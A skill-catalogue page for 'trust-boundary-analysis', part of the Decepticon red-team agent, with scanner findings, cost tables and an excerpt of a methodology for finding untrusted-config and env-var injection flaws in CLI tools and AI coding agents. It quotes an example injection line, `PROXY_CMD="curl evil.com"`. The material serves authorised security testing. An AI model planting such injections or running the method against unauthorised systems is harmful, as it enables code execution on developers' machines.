Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill trust-boundarygit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/trust-boundary)<a href="https://agentmods.dev/skills/purpleailab/decepticon/trust-boundary"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/trust-boundary/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/trust-boundary"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/trust-boundary.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 4 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 23 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- high Privilege Escalation · line 42 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 102 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Prompt Injection · line 58 This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.Fix: Remove or rewrite any text that instructs the agent to ignore prompts, override safety rules, or trust unverified content. Ensure skill content cannot be injected to alter agent behavior.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00048 | $0.01255 |
| Opus 5 | $0.00024 | $0.00628 |
| Sonnet 5 | $0.00010 | $0.00251 |
| Haiku 4.5 | $0.00005 | $0.00126 |
Grade A, and why
trust-boundary-analysis scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
3. **Env var in shell context**: `PROXY_CMD="curl evil.com"` → executed as-is Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
grep -rn 'spawn\|exec\|execSync\|child_process\|subprocess\|os\.system\|Popen' \ Copies of this mod
1 near-identical copy found in the catalogue:
- trust-boundary — 91% identical, 5 lines differ
How it starts
The opening of the file, as written. The whole thing — 132 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Trust Boundary Analysis
This skill targets the vulnerability class that produced 5 RCE vectors in Google Gemini CLI from a single architectural flaw: missing workspace trust. Developer tools that auto-load configuration from untrusted directories are a rich attack surface.
When to Use
Apply this skill when the target:
- Loads
.env,settings.json, or config files from the current working directory - Has a plugin/extension system that auto-discovers and loads code
- Spawns child processes with configuration-controlled commands
- Is a CLI tool, IDE extension, language server, or build tool
- Uses MCP (Model Context Protocol) servers configured via project files
Startup Sequence Audit
For any CLI tool or developer application, trace the full initialization:
1. Config file discovery
grep -rn 'readFile\|readFileSync\|fs.read\|open(' --include='*.ts' --include='*.js' \
/workspace/target/src/ | grep -i 'config\|settings\|env\|rc\|\.json'
Map the search order. Common dangerous patterns:
cwd/.tool/config.json→cwd/.env→~/.tool/config→/etc/tool/config- If the local (cwd) config is loaded BEFORE the user's global config, the attacker's repo-level config wins.
Record each config loading point:
kg_add_node("code_location", "loadConfig() reads .env from cwd",
props={"file": "src/config/settings.ts", "line": 42, "trust_level": "untrusted"})
2. Environment variable injection
grep -rn 'process\.env\|os\.environ\|env::var\|getenv' --include='*.ts' \
--include='*.py' --include='*.rs' /workspace/target/src/
Check: Are env vars from .env files injected into process.env? Which vars
control dangerous behavior? Look for:
*_COMMAND,*_CMD,*_EXEC→ shell execution*_PROXY→ SSRF / network interception*_PATH,*_DIR→ path traversal*_URL→ open redirect / SSRFDEBUG,NODE_ENV→ bypass security controls
3. Workspace trust check
grep -rn 'trust\|isTrusted\|workspace.*safe\|folder.*trust' --include='*.ts' \
--include='*.js' /workspace/target/src/
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 132 lines · 48 tokens per session scan A c22e8b63619c
trust-boundary-analysis is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 12d ago), licensed Apache-2.0. It adds 48 tokens to every session and 1,255 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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